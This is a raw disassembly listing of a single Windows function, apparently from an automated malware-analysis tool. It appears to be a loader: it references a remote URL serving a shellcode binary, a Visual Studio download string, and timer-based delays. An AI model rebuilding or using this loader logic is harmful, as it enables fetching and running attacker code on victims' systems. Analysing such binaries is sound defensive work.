Function at 0x14004c7e0
Capabilities:
Load assembly via iassembly

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x9f8
movaps xmmword [rsp + 0x9e0], xmm6
mov rax, r8
mov r14, rdx
mov qword [rsp + 0x258], rcx
lea rcx, [rsp + 0x108]
mov r8d, 0x150
mov rdx, rax
call fcn.140116da0
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x130]
cmp eax, 1
je 0x14004c873
test eax, eax
jne 0x14004fd9e
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xe0]
lea rdx, [0x140101f60]
call fcn.1400e3a60
mov byte [rsi + 0x130], 1
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x12e], 2
jne 0x14004fb74
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
mov byte [rbx + 0x12e], 0
mov rdi, qword [r14]
mov rsi, qword [r14 + 8]
lea rcx, [rsi + 0x1d0]
lea rax, [rsi + 0x170]
test rdi, rdi
cmove rcx, rax
call fcn.1400fc170
cmp dword [rbx + 0x120], 0
je 0x14004c8fa
mov ecx, dword [0x140194314]
mov r8, qword gs:[0x58]
mov rcx, qword [r8 + rcx*8]
mov r9d, dword [rcx + 0x128]
mov r8d, dword [rcx + 0x124]
jmp 0x14004c91e
mov ebx, eax
mov ebp, edx
call fcn.1400fdc80
mov edx, ebp
mov rcx, rax
mov eax, ebx
mov r8, rcx
shr r8, 0x20
cmp ecx, 2
mov r9d, 1
cmovae r9d, ecx
mov ecx, dword [0x140194314]
mov r10, qword gs:[0x58]
mov rcx, qword [r10 + rcx*8]
mov dword [rcx + 0x120], 1
mov dword [rcx + 0x124], eax
mov dword [rcx + 0x128], edx
cmp qword [rcx + 0xe0], 0
jne 0x14004fbba
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov qword [rax + 0xe0], 0xffffffffffffffff
mov eax, 1
mov ecx, 1
lock xadd qword [rsi], rcx
test rdi, rdi
je 0x14004c991
test rcx, rcx
jns 0x14004c99c
jmp 0x14004f96c
test rcx, rcx
js 0x14004f96c
xor eax, eax
mov ecx, dword [0x140194314]
mov rdx, qword gs:[0x58]
mov r10, qword [rdx + rcx*8]
mov rcx, qword [r10 + 0xe8]
mov rdx, qword [r10 + 0xf0]
mov qword [r10 + 0xe8], rax
mov qword [r10 + 0xf0], rsi
inc qword [r10 + 0xe0]
mov rax, qword [r10 + 0xf8]
cmp rax, 0xffffffffffffffff
je 0x14004fbc6
inc rax
mov r10d, dword [0x140194314]
mov r11, qword gs:[0x58]
mov r10, qword [r11 + r10*8]
mov qword [r10 + 0xf8], rax
mov qword [rsp + 0x260], rcx
mov qword [rsp + 0x268], rdx
mov qword [rsp + 0x270], rax
mov dword [rsp + 0x278], r8d
mov dword [rsp + 0x27c], r9d
mov qword [rsp + 0x4d8], r14
cmp qword [r14], 0
mov rsi, qword [rsp + 0x258]
jne 0x14004fc0c
lea r13, [rsp + 0x650]
xorps xmm6, xmm6
xor r12d, r12d
lea rbp, [0x14014c9f8]
lea r15, [rsp + 0x520]
movabs rdi, 0x8000000000000000
nop word [rax + rax]
xor eax, eax
xchg qword [rsi + 0x20], rax
test rax, rax
jne 0x14004e080
mov qword [rsp + 0x440], 2
mov rax, qword [rsi]
shr rax, 2
lea rdx, [rsp + 0x68]
movups xmmword [rdx - 0x18], xmm6
mov qword [rdx - 8], 0
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rax
movups xmmword [rdx], xmm6
mov byte [rdx + 0x10], 0
mov eax, dword [rsp + 0x29a]
mov ecx, dword [rsp + 0x29d]
mov dword [rdx + 0x14], ecx
mov dword [rdx + 0x11], eax
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xd0]
test rax, rax
jne 0x14004caf8
call fcn.1400f89a0
test rax, rax
je 0x14004fb3e
mov rax, qword [rax]
lock inc qword [rax]
jle 0x14004f96c
add rax, 0x10
lea rcx, fcn.1401047f0
mov qword [rsp + 0x288], rcx
mov qword [rsp + 0x290], rax
lea rax, [rsp + 0x288]
mov qword [rsp + 0x780], rax
mov qword [rsp + 0x788], rax
mov qword [rsp + 0x790], 0
jmp 0x14004cb5d
mov al, 1
lock cmpxchg byte [rsi], r12b
jne 0x14004ced0
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x130]
cmp eax, 1
lea r14, [rsp + 0x2a8]
je 0x14004cbb7
mov cl, 2
test eax, eax
jne 0x14004cbe8
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xe0]
lea rdx, [0x140101f60]
call fcn.1400e3a60
mov byte [rsi + 0x130], 1
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx ecx, byte [rax + 0x12c]
movzx edx, byte [rax + 0x12d]
mov byte [rsp + 0x90], dl
mov word [rax + 0x12c], 0x8001
mov byte [rsp + 0x3d], cl
mov rdx, qword [rsp + 0x780]
lea rcx, [rsp + 0x40]
call fcn.1400fd560
test al, al
je 0x14004cc90
movzx eax, byte [rsp + 0x250]
test eax, eax
je 0x14004ccb0
cmp eax, 3
jne 0x14004fa19
movzx eax, byte [rsp + 0x248]
test eax, eax
je 0x14004d5ad
cmp eax, 3
jne 0x14004fb02
nop dword [rax + rax]
cmp dword [rsp + 0x110], 2
jne 0x14004dc22
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x118], 0
test rax, rax
je 0x14004f9b1
mov qword [rsp + 0x520], 3
mov qword [rsp + 0x528], rax
jmp 0x14004cee0
xor esi, esi
movzx edx, byte [rsp + 0x3d]
cmp dl, 2
jne 0x14004dc6b
jmp 0x14004dcf1
mov qword [rsp + 0x2a8], rbp
mov qword [rsp + 0x2b0], 1
mov qword [rsp + 0x2b8], 8
movups xmmword [rsp + 0x2c0], xmm6
mov rcx, r14
call fcn.1400ed810
mov qword [rsp + 0x2a8], 0
mov rcx, r14
call qword [sym.imp.kernel32.dll_GetSystemTimePreciseAsFileTime]
mov r8, qword [rsp + 0x2a8]
mov rax, r8
movabs rdx, 0x19db1ded53e8000
sub rax, rdx
neg rax
movabs rcx, 0xfe624e212ac18000
add rcx, r8
cmp r8, rdx
cmovl rcx, rax
mov rax, rcx
movabs rdx, 0xd6bf94d5e57a42bd
mul rdx
shr rdx, 0x17
imul eax, edx, 0x989680
sub ecx, eax
movabs rax, 0x19db1ded53e7fff
cmp r8, rax
jle 0x14004fa25
imul rax, rdx, 0x3e8
mov ecx, ecx
mov edx, 0xd1b71759
imul rcx, rdx
shr rcx, 0x2d
add rcx, rax
mov qword [rsp + 0x520], rcx
mov qword [rsp + 0x528], 0
mov qword [rsp + 0x640], r15
lea rax, [0x14000c030]
mov qword [rsp + 0x648], rax
lea rax, [0x14014ca38]
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x2b0], 2
mov qword [rsp + 0x2c8], 0
lea rax, [rsp + 0x640]
mov qword [rsp + 0x2b8], rax
mov qword [rsp + 0x2c0], 1
mov rcx, r14
call fcn.1400ed810
mov qword [rsp + 0x2a8], rbp
mov qword [rsp + 0x2b0], 1
mov qword [rsp + 0x2b8], 8
movups xmmword [rsp + 0x2c0], xmm6
mov rcx, r14
call fcn.1400ed810
mov qword [rsp + 0x2a8], rbp
mov qword [rsp + 0x2b0], 1
mov qword [rsp + 0x2b8], 8
movups xmmword [rsp + 0x2c0], xmm6
mov rcx, r14
call fcn.1400ed810
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
je 0x14004cec0
mov rsi, rax
mov qword [rsp + 0x2a8], 0xfffffffffd050f80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, r14
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x14004ceb7
mov rcx, rsi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov ebx, eax
mov rcx, rsi
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp ebx, 0xffffffff
jne 0x14004d5a5
jmp 0x14004cec0
mov rcx, rsi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
jmp 0x14004d5a5
mov rcx, rsi
call fcn.14011ce70
jmp 0x14004cb5d
mov r8d, 0x98
lea rcx, [rsp + 0x7e0]
mov rdx, r15
call fcn.140116da0
cmp dword [rsp + 0x110], 2
jne 0x14004cf80
mov r12, qword [rsp + 0x118]
test r12, r12
je 0x14004d353
mov rsi, qword [r12 + 0x58]
test rsi, rsi
je 0x14004cf4c
mov rbx, qword [r12 + 0x60]
mov rcx, rsi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14004cf4c
cmp qword [rbx + 0x10], 0x11
jb 0x14004cf3b
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140194260]
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
mov rax, qword [r12]
cmp rax, rdi
je 0x14004d342
test rax, rax
je 0x14004d342
mov r8, qword [r12 + 8]
mov rcx, qword [0x140194260]
xor edx, edx
call sub.kernel32.dll_HeapFree
jmp 0x14004d342
cmp byte [rsp + 0x208], 0xa
jb 0x14004cfab
cmp qword [rsp + 0x218], 0
je 0x14004cfab
mov r8, qword [rsp + 0x210]
mov rcx, qword [0x140194260]
xor edx, edx
call sub.kernel32.dll_HeapFree
cmp qword [rsp + 0x198], 0
je 0x14004cfcc
mov r8, qword [rsp + 0x1a0]
mov rcx, qword [0x140194260]
xor edx, edx
call sub.kernel32.dll_HeapFree
cmp qword [rsp + 0x188], 0
je 0x14004cfed
mov r8, qword [rsp + 0x180]
mov rcx, qword [0x140194260]
xor edx, edx
call sub.kernel32.dll_HeapFree
mov rbx, qword [rsp + 0x160]
test rbx, rbx
je 0x14004d050
mov rsi, qword [rsp + 0x158]
add rsi, 0x30
jmp 0x14004d02b
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x68
dec rbx
je 0x14004d050
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x14004d010
lea rcx, [rsi + 0x28]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
call qword [rax + 0x10]
jmp 0x14004d010
cmp qword [rsp + 0x150], 0
je 0x14004d071
mov r8, qword [rsp + 0x158]
mov rcx, qword [0x140194260]
xor edx, edx
call sub.kernel32.dll_HeapFree
mov rbx, qword [rsp + 0x178]
test rbx, rbx
je 0x14004d0ab
mov rsi, qword [rsp + 0x170]
add rsi, 0x38
nop word [rax + rax]
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x48
dec rbx
jne 0x14004d090
cmp qword [rsp + 0x168], 0
je 0x14004d0cc
mov r8, qword [rsp + 0x170]
mov rcx, qword [0x140194260]
xor edx, edx
call sub.kernel32.dll_HeapFree
cmp qword [rsp + 0x110], 0
je 0x14004d0ff
mov rax, qword [rsp + 0x118]
test rax, rax
je 0x14004d0ff
mov rdx, qword [rsp + 0x120]
mov r8, qword [rsp + 0x128]
lea rcx, [rsp + 0x130]
call qword [rax + 0x10]
mov rsi, qword [rsp + 0x200]
test rsi, rsi
je 0x14004d150
mov rbx, qword [rsp + 0x1f8]
add rbx, 8
jmp 0x14004d129
add rbx, 0x58
dec rsi
je 0x14004d150
cmp qword [rbx - 8], 0
je 0x14004d120
mov r8, qword [rbx]
mov rcx, qword [0x140194260]
xor edx, edx
call sub.kernel32.dll_HeapFree
jmp 0x14004d120
cmp qword [rsp + 0x1f0], 0
je 0x14004d171
mov r8, qword [rsp + 0x1f8]
mov rcx, qword [0x140194260]
xor edx, edx
call sub.kernel32.dll_HeapFree
mov rax, qword [rsp + 0x220]
lock dec qword [rax]
jne 0x14004d18c
lea rcx, [rsp + 0x220]
call fcn.1400419d0
mov rsi, qword [rsp + 0x228]
mov rbx, qword [rsp + 0x230]
mov rcx, rsi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14004d1c4
cmp qword [rbx + 0x10], 0x11
jb 0x14004d1b3
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140194260]
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
xor ebx, ebx
mov r12, qword [rsp + 0x240]
test r12, r12
je 0x14004d353
cmp qword [r12], 0
mov r15, qword [r12 + 8]
mov eax, 0x118
mov ecx, 0xb8
cmove rax, rcx
cmp dword [r15 + rax + 0xa8], 0x3b9aca00
je 0x14004fa01
lea rsi, [r12 + 8]
add r15, rax
lea rdx, [r12 + 0x20]
xor eax, eax
mov cl, 1
lock cmpxchg byte [r15 + 0x58], cl
jne 0x14004d2cc
mov rax, qword [r12 + 0x40]
cmp rax, 0xffffffffffffffff
je 0x14004d232
lea rcx, [r15 + 0x60]
call fcn.1400f84a0
mov rax, qword [r12 + 0x40]
cmp rax, 0xffffffffffffffff
je 0x14004d2a0
mov byte [r12 + 0x60], 0
mov qword [r12 + 0x40], 0xffffffffffffffff
mov rax, qword [r12 + 0x58]
nop word cs:[rax + rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [r12 + 0x58], rcx
jne 0x14004d260
test rax, rax
jne 0x14004d2a0
mov rax, qword [r12 + 0x48]
mov rcx, qword [r12 + 0x50]
mov qword [r12 + 0x48], 0
lock and qword [r12 + 0x58], 0xfffffffffffffffd
test rax, rax
je 0x14004d2a0
call qword [rax + 0x18]
nop word [rax + rax]
mov al, 1
lock cmpxchg byte [r15 + 0x58], bl
jne 0x14004d2f9
cmp qword [r12], 0
je 0x14004d30c
mov rax, qword [rsi]
lock dec qword [rax]
lea r15, [rsp + 0x520]
jne 0x14004d330
mov rcx, rsi
call fcn.140043390
jmp 0x14004d330
lea rcx, [r15 + 0x58]
mov rdi, rdx
call fcn.14011cb10
mov rdx, rdi
movabs rdi, 0x8000000000000000
mov rax, qword [r12 + 0x40]
cmp rax, 0xffffffffffffffff
jne 0x14004d229
jmp 0x14004d232
add r15, 0x58
mov rcx, r15
call fcn.14011ce70
cmp qword [r12], 0
jne 0x14004d2b1
mov rax, qword [rsi]
lock dec qword [rax]
lea r15, [rsp + 0x520]
jne 0x14004d330
mov rcx, rsi
call fcn.1400432d0
nop word cs:[rax + rax]
mov rax, qword [r12 + 0x48]
test rax, rax
je 0x14004d342
mov rcx, qword [r12 + 0x50]
call qword [rax + 0x18]
mov rcx, qword [0x140194260]
xor edx, edx
mov r8, r12
call sub.kernel32.dll_HeapFree
cmp dword [rsp + 0x7e0], 3
jne 0x14004d420
mov qword [rsp + 0x520], rbp
mov qword [rsp + 0x528], 1
mov qword [rsp + 0x530], 8
movups xmmword [rsp + 0x538], xmm6
mov rcx, r15
call fcn.1400ed810
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
je 0x14004d73d
mov rsi, rax
mov qword [rsp + 0x520], 0xfffffffffe363c80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, r15
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x14004d734
mov rcx, rsi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov ebx, eax
mov rcx, rsi
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp ebx, 0xffffffff
jne 0x14004d748
jmp 0x14004d73d
mov r12, rbp
mov qword [rsp + 0x520], rbp
mov qword [rsp + 0x528], 1
mov qword [rsp + 0x530], 8
movups xmmword [rsp + 0x538], xmm6
mov rcx, r15
call fcn.1400ed810
lea rcx, [rsp + 0x7e0]
call fcn.1400503d0
mov rax, qword [rsp + 0x108]
lock dec qword [rax]
jne 0x14004d47b
lea rcx, [rsp + 0x108]
call fcn.1400419d0
mov byte [rsp + 0x248], 1
lea rsi, [0x14014cac3]
mov rcx, rsi
lea rdx, str.https:__fud_coder.com_uf_shellcodeAny_20241014060521261.binREQWEST_URL
call fcn.1400e9c80
mov r8d, 0xb
mov rcx, r14
mov rdx, rsi
call fcn.1400e8600
mov rbp, qword [rsp + 0x2a8]
cmp rbp, rdi
je 0x14004d5a2
mov rbx, qword [rsp + 0x2b0]
mov r8, qword [rsp + 0x2b8]
cmp byte [rsp + 0x2c0], 0
je 0x14004df23
mov rcx, r15
mov rdx, rbx
call fcn.140003520
mov r15, qword [rsp + 0x520]
cmp r15, rdi
jne 0x14004d5d6
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
test rax, rax
lea r15, [rsp + 0x520]
je 0x14004dfc0
mov rsi, rax
mov qword [rsp + 0x2a8], 0xfffffffffd050f80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, r14
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x14004dfb7
mov rcx, rsi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov r15, rdi
mov rdi, rbx
mov ebx, eax
mov rcx, rsi
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp ebx, 0xffffffff
mov rbx, rdi
mov rdi, r15
lea r15, [rsp + 0x520]
je 0x14004dfc0
test rbp, rbp
je 0x14004d5a2
mov rcx, qword [0x140194260]
xor edx, edx
mov r8, rbx
call sub.kernel32.dll_HeapFree
mov rbp, r12
mov byte [rsp + 0x248], 0
mov rcx, r14
call fcn.1400c93d0
mov rcx, r14
call fcn.1400c9dc0
mov r12, rdx
test rax, rax
jne 0x14004f96e
mov qword [rsp + 0x108], r12
jmp 0x14004d75d
mov qword [rsp + 0x4e8], rbx
mov rsi, qword [rsp + 0x528]
mov rax, qword [rsp + 0x530]
mov qword [rsp + 0x4e0], rax
call fcn.140003a10
call fcn.1400016d0
mov r14, rax
and eax, 3
cmp eax, 1
jne 0x14004d659
mov rbx, qword [r14 - 1]
mov rdi, qword [r14 + 7]
mov rcx, rbx
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x14004d63b
cmp qword [rdi + 0x10], 0x11
jb 0x14004d62a
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140194260]
xor edx, edx
mov r8, rbx
call sub.kernel32.dll_HeapFree
dec r14
mov rcx, qword [0x140194260]
xor edx, edx
mov r8, r14
call sub.kernel32.dll_HeapFree
movabs rdi, 0x8000000000000000
lea rbx, [rsp + 0x2a8]
mov rcx, rbx
call fcn.140001a90
cmp qword [rsp + 0x2a8], 0
je 0x14004d687
mov rcx, qword [rsp + 0x2b0]
test rcx, rcx
je 0x14004d687
mov rax, qword [rcx]
call qword [rax + 0x10]
mov ecx, 5
call fcn.1400e4db0
call fcn.140004830
mov qword [rsp + 0x2a8], r12
mov qword [rsp + 0x2b0], 1
mov qword [rsp + 0x2b8], 8
movups xmmword [rsp + 0x2c0], xmm6
mov rcx, rbx
call fcn.1400ed810
mov rcx, rsi
mov rdx, qword [rsp + 0x4e0]
call fcn.1400015e0
test r15, r15
je 0x14004d6ec
mov rcx, qword [0x140194260]
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
mov sil, 1
test rbp, rbp
lea r15, [rsp + 0x520]
mov r8, qword [rsp + 0x4e8]
je 0x14004d712
mov rcx, qword [0x140194260]
xor edx, edx
call sub.kernel32.dll_HeapFree
mov al, 1
mov rbp, r12
xor r12d, r12d
mov byte [rsp + 0x250], al
movzx edx, byte [rsp + 0x3d]
cmp dl, 2
je 0x14004dcf1
jmp 0x14004dc6b
mov rcx, rsi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
lea rcx, [rsp + 0x7e0]
call fcn.1400503d0
mov r12, qword [rsp + 0x108]
mov qword [rsp + 0xc0], 0
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xb0], 0
mov r9d, 0x26
mov rcx, r15
lea rdx, [rsp + 0xa0]
lea r8, str.https:__code.visualstudio.com_downloadTime:
call fcn.140105d90
mov rsi, qword [rsp + 0x520]
cmp rsi, rdi
jne 0x14004d810
movzx ebx, byte [rsp + 0x528]
movzx eax, byte [0x140194310]
mov edx, 1
xor ecx, ecx
call fcn.1400eed30
test rax, rax
je 0x14004f9c9
mov rsi, rax
mov byte [rax], bl
movzx eax, byte [0x140194310]
mov edx, 0x70
xor ecx, ecx
call fcn.1400eed30
test rax, rax
je 0x14004f9a2
mov qword [rax], rdi
mov qword [rax + 0x58], rsi
lea rcx, [0x1401544d0]
mov qword [rax + 0x60], rcx
mov word [rax + 0x68], 0
jmp 0x14004d99c
mov rbx, qword [rsp + 0x528]
lea rcx, [rsp + 0x530]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movaps xmmword [rsp + 0x640], xmm0
movaps xmmword [rsp + 0x650], xmm1
movaps xmmword [rsp + 0x660], xmm2
movzx edx, byte [rsp + 0x560]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0xdf], rax
movups xmm0, xmmword [rcx + 0x31]
movaps xmmword [rsp + 0xd0], xmm0
test dl, dl
je 0x14004d920
movaps xmm0, xmmword [rsp + 0x640]
movaps xmm1, xmmword [rsp + 0x650]
movaps xmm2, xmmword [rsp + 0x660]
movaps xmmword [rsp + 0x540], xmm2
movaps xmmword [rsp + 0x530], xmm1
movaps xmmword [rsp + 0x520], xmm0
movaps xmm3, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0xa0], xmm3
mov rax, qword [rsp + 0xdf]
mov qword [rsp + 0xaf], rax
movaps xmmword [rsp + 0x7b0], xmm6
movaps xmmword [rsp + 0xd0], xmm0
movaps xmmword [rsp + 0xe0], xmm1
movaps xmmword [rsp + 0xf0], xmm2
mov rax, qword [rsp + 0xaf]
mov qword [rsp + 0x76f], rax
movaps xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x760], xmm0
movaps xmmword [rsp + 0x7a0], xmm6
xor ecx, ecx
mov qword [rsp + 0x88], rsi
mov qword [rsp + 0x98], rbx
mov byte [rsp + 0x3f], dl
xor edx, edx
jmp 0x14004d9a3
movzx eax, byte [0x140194310]
mov edx, 0x70
xor ecx, ecx
call fcn.1400eed30
test rax, rax
je 0x14004f9a2
mov qword [rax + 0x58], 1
lea rcx, [0x140154728]
mov qword [rax + 0x60], rcx
mov word [rax + 0x68], 0
mov qword [rax], rsi
mov qword [rax + 8], rbx
movaps xmm0, xmmword [rsp + 0x640]
movaps xmm1, xmmword [rsp + 0x650]
movaps xmm2, xmmword [rsp + 0x660]
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm1
movups xmmword [rax + 0x30], xmm2
mov byte [rax + 0x40], 0
movaps xmm0, xmmword [rsp + 0xd0]
movups xmmword [rax + 0x41], xmm0
mov rcx, qword [rsp + 0xdf]
mov qword [rax + 0x50], rcx
mov edx, 2
mov cl, 1
lock inc qword [r12]
jle 0x14004f96c
mov qword [rsp + 0x750], r12
mov qword [rsp + 0x640], rdx
mov qword [rsp + 0x648], rax
mov rax, qword [rsp + 0x8b0]
mov qword [r13 + 0x10], rax
movups xmm0, xmmword [rsp + 0x8a0]
movups xmmword [r13], xmm0
mov qword [rsp + 0x668], 0
movups xmm0, xmmword [rsp + 0x8b8]
movups xmmword [r13 + 0x20], xmm0
mov qword [rsp + 0x680], 0
mov qword [rsp + 0x688], 8
movaps xmm0, xmmword [rsp + 0x7b0]
movups xmmword [r13 + 0x40], xmm0
mov qword [rsp + 0x6a0], 8
mov qword [rsp + 0x6a8], 0
mov qword [rsp + 0x6b0], 2
mov qword [rsp + 0x6b8], 0
mov word [rsp + 0x6c0], 0
movzx eax, word [rsp + 0x286]
mov word [r13 + 0x76], ax
mov eax, dword [rsp + 0x282]
mov dword [r13 + 0x72], eax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x6c8], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x6d0], rax
movaps xmm0, xmmword [rsp + 0xd0]
movaps xmm1, xmmword [rsp + 0xe0]
movaps xmm2, xmmword [rsp + 0xf0]
movups xmmword [r13 + 0xa8], xmm2
movups xmmword [r13 + 0x98], xmm1
movups xmmword [r13 + 0x88], xmm0
movzx eax, byte [rsp + 0x3f]
mov byte [rsp + 0x708], al
mov rax, qword [rsp + 0x76f]
mov qword [r13 + 0xc8], rax
movaps xmm0, xmmword [rsp + 0x760]
movups xmmword [r13 + 0xb9], xmm0
mov dword [rsp + 0x728], 0x3b9aca00
mov byte [rsp + 0x730], 1
mov dword [r13 + 0xe4], 0
mov dword [r13 + 0xe1], 0
movaps xmm0, xmmword [rsp + 0x7a0]
movups xmmword [r13 + 0xe8], xmm0
mov byte [rsp + 0x748], 2
mov eax, dword [rsp + 0x2a1]
mov edx, dword [rsp + 0x2a4]
mov dword [r13 + 0xfc], edx
mov dword [r13 + 0xf9], eax
test cl, cl
jne 0x14004db6e
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0x6c8]
call fcn.1400d1d00
cmp qword [rsp + 0xa0], rdi
jne 0x14004dd40
mov r8d, 0x118
lea rcx, [rsp + 0x8c8]
lea rdx, [rsp + 0x640]
call fcn.140116da0
xor r12d, r12d
cmp dword [rsp + 0x8c8], 2
jne 0x14004dbd0
mov qword [rsp + 0x2a8], 2
mov rax, qword [rsp + 0x8d0]
mov rsi, qword [rsp + 0x9d8]
mov qword [rsp + 0x2b0], rax
lock dec qword [rsi]
je 0x14004dbf1
jmp 0x14004dbfe
mov rsi, qword [rsp + 0x9d8]
mov rcx, r14
mov rdx, rsi
lea r8, [rsp + 0x8c8]
call fcn.1400cc2d0
lock dec qword [rsi]
jne 0x14004dbfe
lea rcx, [rsp + 0x9d8]
call fcn.14007ad00
mov r8d, 0x138
lea rcx, [rsp + 0x110]
mov rdx, r14
call fcn.140116da0
cmp dword [rsp + 0x110], 2
je 0x14004cc4e
mov rcx, r15
lea rdx, [rsp + 0x110]
lea r8, [rsp + 0x780]
call fcn.1400ce2a0
cmp qword [rsp + 0x520], 4
jne 0x14004cee0
mov byte [rsp + 0x248], 3
mov al, 3
mov sil, 2
mov byte [rsp + 0x250], al
movzx edx, byte [rsp + 0x3d]
cmp dl, 2
je 0x14004dcf1
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x130]
cmp eax, 1
je 0x14004dcca
test eax, eax
jne 0x14004dcf1
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xe0]
lea rdx, [0x140101f60]
call fcn.1400e3a60
movzx edx, byte [rsp + 0x3d]
mov byte [rdi + 0x130], 1
movabs rdi, 0x8000000000000000
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x12c], dl
movzx ecx, byte [rsp + 0x90]
mov byte [rax + 0x12d], cl
cmp sil, 2
jne 0x14004e020
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r14, qword [rax + 0xd0]
test r14, r14
je 0x14004ddf0
mov eax, 2
lock cmpxchg qword [r14 + 0x10], r12
je 0x14004cb5d
jmp 0x14004de12
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x7d0], rax
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x7c0], xmm0
mov r8d, 0x118
mov rcx, r15
lea rdx, [rsp + 0x640]
call fcn.140116da0
lea rcx, [rsp + 0x488]
lea rdx, [rsp + 0x7c0]
lea r8, [rsp + 0xb8]
call fcn.14007dba0
cmp dword [rsp + 0x520], 2
mov r12d, 0
jne 0x14004de63
mov r8d, 0x118
lea rcx, [rsp + 0x8c8]
mov rdx, r15
call fcn.140116da0
mov rax, qword [rsp + 0x488]
mov rdx, qword [rsp + 0x490]
mov r8, qword [rsp + 0x498]
lea rcx, [rsp + 0x4a0]
call qword [rax + 0x10]
jmp 0x14004db8c
call fcn.1400f89a0
test rax, rax
je 0x14004f9d8
mov r14, qword [rax]
mov eax, 2
lock cmpxchg qword [r14 + 0x10], r12
je 0x14004cb5d
lea rsi, [r14 + 0x20]
xor eax, eax
mov cl, 1
lock cmpxchg byte [r14 + 0x20], cl
jne 0x14004dfd9
xor eax, eax
mov ecx, 1
lock cmpxchg qword [r14 + 0x10], rcx
jne 0x14004e000
lea rbx, [r14 + 0x18]
nop dword [rax]
mov rcx, rbx
mov rdx, rsi
mov r9d, 0x3b9aca00
call fcn.140051b50
mov eax, 2
lock cmpxchg qword [r14 + 0x10], r12
jne 0x14004de40
jmp 0x14004cb50
movups xmm0, xmmword [0x140153e60]
movaps xmmword [rsp + 0x890], xmm0
movups xmm0, xmmword [0x140153e50]
